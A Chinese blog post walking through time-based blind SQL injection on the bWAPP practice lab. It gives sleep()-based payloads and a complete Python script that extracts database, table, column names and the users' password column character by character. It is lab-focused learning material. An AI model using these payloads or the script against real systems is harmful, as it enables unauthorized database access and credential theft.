SQL Injection-Blind-Time-Based（bWAPP）注入思路

最新推荐文章于 2024-06-03 07:48:05 发布
最新推荐文章于 2024-06-03 07:48:05 发布
阅读量1.3k 收藏 5
点赞数 1
文章标签： SQL注入 基于时间的盲注
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/hacker234/article/details/100036013
版权

靶机：bWAPP

bug：SQL Injection-Blind-Time-Based

难度等级：low

分析

无论输入什么字符串，都会返回“The result will be sent by e-mail...”。因此首先要确定该处是否存在注入。因此这里可以参考基于时间的注入方法。本文使用主要使用if(exp1,exp2,exp3)及sleep函数，根据网络的延迟去判断是否发生注入。

   为了判断处是否存在注入，分别构建了一下两条命令：

  1. Man of Steel' and if(1=1,sleep(50),1)#
  2. Man of Steel' and if(1=2,sleep(50),1)#

如果存在注入，命令1中的sleep(50)将会生效，返回数据的延迟会很高；命令2中的sleep（50）不会生效，返回数据的延迟不会很高。

 

经过多次测试，可以看出来命令1的延迟远高于命令2。因此，此处存在注入。

 

猜解数据库

猜解数据库名称

接下来根据网络延时猜解数据库名称。在猜解数据库名称前首先猜解数据库名称的长度。

“Man of Steel' and if(length(database())=5,sleep(50),1)#”

接下来猜解数据库中包含的表名称。在猜解名称前先猜解所有表格的长度和。

“Man of Steel' and if((select length(group_concat(table_name)) from information_schema.tables where table_schema='bWAPP')=33,sleep(5),1)#”

猜解表格名称

接下来猜解数据库中包含的表名称。在猜解名称前先猜解所有表格的长度和。

“Man of Steel' and if((select length(group_concat(table_name)) from information_schema.tables where table_schema='bWAPP')=33,sleep(5),1)#”

接着猜解表名。

“Man of Steel' and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'),1,1))=21,sleep(5),1)#”

猜解列名称

猜解表格的列名称。在猜解表格列名称前先猜所有列名称长度。

“Man of Steel' and if((select length(group_concat(column_name)) from information_schema.columns where table_name='users')=11,sleep(5),1)#”

猜解列的名称

“Man of Steel' and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1))=21,sleep(5),1)#”

猜解列的内容

猜解字段的值，首先猜解长度。

“Man of Steel' and if((select length(group_concat(id)) from users)=12,sleep(5),1)#”

猜解字段内容。

“Man of Steel' and if(ascii(mid((select group_concat(id) from users),1,1))=21,sleep(5),1)#”

代码

import requests
from urllib.parse import quote

headers={
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0',
    'Referer': 'http://192.168.248.174/dvwa/bWAPP/sqli_4.php',
    'Cookie': 'security_level=0; PHPSESSID=442s8ih8ft9d7h1a44jqjg46v1'
}
def guset_db_len():
    len_of_db = 0
    print('猜解数据库长度')
    for i in range(1,6):
        url = 'http://192.168.248.174/dvwa/bWAPP/sqli_15.php?title='
        title='''Man of Steel' and if(length(database())=%s,sleep(3),1)#'''%i
        title=quote(title)
        url=url+title
        r=requests.get(url,headers=headers)

        #r.elapsed.seconds计算的是从发送请求到服务端响应回来这段时间（也就是时间差），
        # 发送第一个数据到收到最后一个数据之间
        if(r.elapsed.seconds>2.5):
            print('length of database:',i)
            len_of_db=i
            continue
    return len_of_db
def guest_db_name(len_of_db):
    name_db = ''
    char_list = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    print('猜解数据库名称')
    for i in range(1,len_of_db+1):
        for k in char_list:
            k1=ord(k)
            url = 'http://192.168.248.174/dvwa/bWAPP/sqli_15.php?title='
            title = '''Man of Steel' and if(ascii(mid(database(),%s,1))=%s,sleep(5),1)#''' %(i,ord(k))
            url = url + quote(title)
            r = requests.get(url, headers=headers)
            if (r.elapsed.seconds > 4.5):
                name_db=name_db+k
                print('第%s位:%s' %(i,k))
    print('name of database:', name_db)

def guest_table_name_len():
    len_of_tables = 0
    char_list = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,'
    tables_name=''
    print('表长度的总和')
    for i in range(2, 40):
        url = 'http://192.168.248.174/dvwa/bWAPP/sqli_15.php?title='
        title = '''Man of Steel' and if((select length(group_concat(table_name)) from information_schema.tables where table_schema='bWAPP')=%s,sleep(5),1)#''' % i
        title = quote(title)
        url = url + title
        r = requests.get(url, headers=headers)
        # r.elapsed.seconds计算的是从发送请求到服务端响应回来这段时间（也就是时间差），
        # 发送第一个数据到收到最后一个数据之间
        if (r.elapsed.seconds > 4.5):
            print('length of tables:', i)
            len_of_tables = i
            continue
    print('猜解数据库名称')
    for i in range(1, len_of_tables + 1):
        for k in char_list:
            k1 = ord(k)
            url = 'http://192.168.248.174/dvwa/bWAPP/sqli_15.php?title='
            title = '''Man of Steel' and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'),%s,1))=%s,sleep(5),1)#'''%(i,k1)
            title = quote(title)
            url = url + title
            r = requests.get(url, headers=headers)
            if (r.elapsed.seconds > 4.5):
                tables_name = tables_name + k
                print('第%s位:%s' % (i, k))
    print('name of tables:', tables_name)


def guest_name_columns():
    len_of_columns = 0
    char_list = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,'
    columns_name = ''
    print('列长度的总和')
    for i in range(2, 200):
        url = 'http://192.168.248.174/dvwa/bWAPP/sqli_15.php?title='
        title = '''Man of Steel' and if((select length(group_concat(column_name)) from information_schema.columns where table_name='users')=%s,sleep(5),1)#''' % i
        title = quote(title)
        url = url + title
        r = requests.get(url, headers=headers)
        # r.elapsed.seconds计算的是从发送请求到服务端响应回来这段时间（也就是时间差），
        # 发送第一个数据到收到最后一个数据之间
        if (r.elapsed.seconds > 4.5):
            print('length of columns:', i)
            len_of_columns = i
            continue
    print('猜解列名称')
    for i in range(1, len_of_columns + 1):
        for k in char_list:
            k1 = ord(k)
            url = 'http://192.168.248.174/dvwa/bWAPP/sqli_15.php?title='
            title = '''Man of Steel' and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_name='users'),%s,1))=%s,sleep(5),1)#''' % (i,k1)
            title = quote(title)
            url = url + title
            r = requests.get(url, headers=headers)
            if (r.elapsed.seconds > 4.5):
                columns_name = columns_name + k
                print('第%s位:%s' % (i, k))
    print('name of columns:', columns_name)


def guest_columns_content():
    len_columns_content = 0
    char_list = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,1234567890'
    columns_content = ''
    columns_name='password'
    print('列内容长度的总和')
    for i in range(2, 400):
        url = 'http://192.168.248.174/dvwa/bWAPP/sqli_15.php?title='
        title = '''Man of Steel' and if((select length(group_concat(%s)) from users)=%s,sleep(5),1)#''' %(columns_name,i)
        title = quote(title)
        url = url + title
        r = requests.get(url, headers=headers)
        # r.elapsed.seconds计算的是从发送请求到服务端响应回来这段时间（也就是时间差），
        # 发送第一个数据到收到最后一个数据之间
        if (r.elapsed.seconds > 4.5):
            print('length of columns content:', i)
            len_columns_content = i
            continue
    print('列的内容')
    for i in range(1, len_columns_content + 1):
        for k in char_list:
            k1 = ord(k)
            url = 'http://192.168.248.174/dvwa/bWAPP/sqli_15.php?title='
            title = '''Man of Steel' and if(ascii(mid((select group_concat(%s) from users),%s,1))=%s,sleep(5),1)#''' % (columns_name,i, k1)
            title = quote(title)
            url = url + title
            r = requests.get(url, headers=headers)
            if (r.elapsed.seconds > 4.5):
                columns_content = columns_content + k
                print('第%s位:%s' % (i, k))
    print('columns_content:', columns_content)


if __name__=='__main__':
    #guest_db_name(5)
    #guest_table_name_len()
    #guest_name_columns()
    guest_columns_content()

 

Gond19
关注
  • 1
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
sqli-labs笔记（4）盲注（布尔，时间）
weixin_43798683的博客
04-23 464
盲注是注入的一种，指的是在不知道数据库返回值的情况下对数据中的内容进行猜测，实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。 Length（）：函数 返回字符串的长度 Substr（）：截取字符串 Ascii（）：返回字符的ascii码 sleep(n)：将程序挂起一段时间 n为n秒 if(expr1,expr2,expr3): 判断语句 如果第一个语句正确就执行第二个语句如果...
基于时间的盲注
2301_77789826的博客
05-08 119
​ 时间盲注，通过时间函数使SQL语句执行时间延长，从页面响应时间判断条件是否正确的一种注入方式。用到的函数为sleep()。
SQL Injection(Blind)(SQL盲注)
hclimg的博客
07-23 2918
1. SQL盲注介绍 SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示 页面上获取执行的结果，甚至连注入语句是否执行都无法得知。 2. SQL盲注原理 盲注的话，就像跟一个机器人聊天，但是这个机器人只会回答“是”与“不是”，因此，得从一个大的范围去问是与不是，然后慢慢的缩小范围，最后就是类似于问“数据库名字的第一个字是不是a啊”这...
SQL注入-时间盲注
最新发布
WolvenSec的博客
06-03 1690
SQL时间盲注（Time-based Blind SQL Injection），又叫延时注入，是一种SQL注入攻击技术，用于在无法直接获取查询结果或查看响应内容变化的情况下，通过引入时间延迟来推断数据库的信息；时间盲注依赖于数据库执行查询时的时间延迟，通过观察响应时间的变化，攻击者可以推测出查询结果。这里以Sqli-Labs靶场的Less-9关卡为例子来阐述时间盲注的具体思路：进入关卡首先构建参数id。
关于 SQL Inject漏洞
辉小鱼的博客
09-11 363
SQL注入漏洞主要形成的原因是在数据交互中，前端的数据传入到后台处理时，没有做严格的判断，导致其传入的“数据”拼接到SQL语句中后，被当作SQL语句的一部分执行。 从而导致数据库受损（被脱库、被删除、甚至整个服务器权限沦陷）。
（手工）【sqli-labs28、28a】字符型注入、盲注、过滤
07-14 1066
【SQL-字符型注入、盲注、过滤】
Time-Based Blind SQL Injection using heavy queries- A practical approach for MS SQL Server, MS Access, Oracle and MySQL databases and Marathon Tool
09-07
时间基盲注SQL注入是一种利用数据库查询响应时间差异来探测和执行SQL命令的技术。这种攻击方式在目标系统不返回具体错误信息或者数据时特别有效，适用于MS SQL Server、MS Access、Oracle和MySQL等常见数据库系统。...
sqli-lab操作详解
07-12
布尔盲注（Boolean-Based Blind Injection）是SQL注入的一种类型，它不依赖于数据库返回的具体数据，而是通过观察查询结果是否改变来判断条件是否为真。例如，攻击者可以发送两个请求，一个带有附加的"AND 1=1"，另...
sqli-labs-master
08-22
3. 多种注入技术：sqli-labs涵盖了不同的注入技术，如盲注（Blind SQL Injection）、时间延迟注入（Time-Based SQL Injection）、报错注入（Error-Based SQL Injection）和堆叠查询注入（Stacked Queries Injection...
SQL注入基础整理及Tricks总结1
08-03
时间盲注（Time-Based Blind Injection）是利用查询延迟或不返回结果来确定数据。比如，攻击者可能会注入一个使查询等待一段时间的语句，如`SLEEP()`函数，然后通过测量响应时间来推断信息。 五、笛卡尔积 笛卡尔积...
配置抵御SQL注入试攻击的服务器.pdf
09-19
* Time-based Injection：使用时间延迟来注入恶意代码。 七、防止 SQL 注入攻击的best practices * 使用 Prepared Statement 和参数化查询。 * 对用户输入的数据进行验证和清理。 * 限制数据库用户的权限和访问...
SQL Injection-Blind-Time-Based（bWAPP）
liaochonxiang的博客
07-05 92
【代码】SQL Injection-Blind-Time-Based（bWAPP）
mysql基于时间盲注_MySQL基于时间盲注（Time-Based Blind SQL Injection）五种延时方法...
weixin_42527178的博客
01-19 937
PWNHUB 一道盲注题过滤了常规的sleep和benchmark函数，引发对时间盲注中延时方法的思考。延时函数SLEEPmysql> select sleep(5);+----------+| sleep(5) |+----------+| 0 |+----------+1 row in set (5.00 sec)BENCHMARKmysql> select benc...
SQL injection_Blind-Time based
qq_46635165的博客
09-23 989
时间盲注： 参阅了许多博客，得到了一个关于时间盲注的通俗易懂的说法，时间盲注是基于布尔盲注的 ，二者 '参照物’略有不同，布尔盲注主要是看页面显示上的差异，比如页面上某一串字符的出现或者消失；但是有的时候页面不会有明显差异变化，这是需要通过时间盲注，主要是通过 sleep() 加 if 判断，通过页面的响应时间的延迟，来做一些判断和注入； 实例：(sqli-labs_Less-9) 可以看到使用布尔盲注页面没有变化： 此时用时间盲注： url/?id=1' and sleep(5) -- + # sle
3.bWAPP SQL注入篇
自强不息
01-23 2813
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
Kali渗透测试之DVWA系列8——SQL Injection（Blind）(SQL盲注)
浅浅的博客
06-13 1534
目录 一、SQL盲注 1、SQL盲注与SQL注入的区别 2、SQL盲注的过程 二、实验环境 三、实验过程 基于布尔值的盲注 基于时间的盲注 一、SQL盲注 1、SQL盲注与SQL注入的区别 盲注：目标只会回复是或不是，没有详细内容 注入：可以查看到详细的内容 2、SQL盲注的过程 1、判断是否存在注入，注入是字符型还是数字型 2、猜解当前数据库名 猜解数据库名的...
dvwa之 SQL Injection(Blind) 盲注
qq_17762247的博客
06-08 530
一、简介 SQL Injection（Blind），即SQL盲注，一般的注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。 手工盲注思路：手工盲注的过程，就像你与一个机器人聊天，这个机器人知道的很多，但只会回答“是”或者“不是”，因此你需要询问它这样的问题，例如“数据库名字的第一个字母是不是a啊？”，通过这种机械的询问，最终获得你想要的数据。盲注分
Blind SQL Injection
kezhen的专栏
03-24 4278
https://www.owasp.org/index.php/Blind_SQL_Injection Description Blind SQL (Structured Query Language) injection is a type of SQL Injection attack that asks the database true or false questions a
sql注入-error、boolean、time-based and 宽字节
我不是大牛
06-24 1816
1、Error-based SQL injection 利用前提: 页面上没有显示位，但是需要输出SQL语句执行错误信息。比如mysqli_error() 优点: 不需要显示位 缺点: 需要输出mysqli_error( )的报错信息 通过floor报错 select 列1(count()) ， 列2(concat()随机数) as x from 表 group by x; select c...
sqli-labs实验指导手册
11-17
"sqli-labs实验指导手册详细介绍了如何通过搭建sqli-labs实验平台来学习和实践SQL注入攻击及防御。本实验手册主要针对基于单引号的字符型联合注入进行深入解析，帮助读者理解SQL注入的原理，并提供逐步解密数据库...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值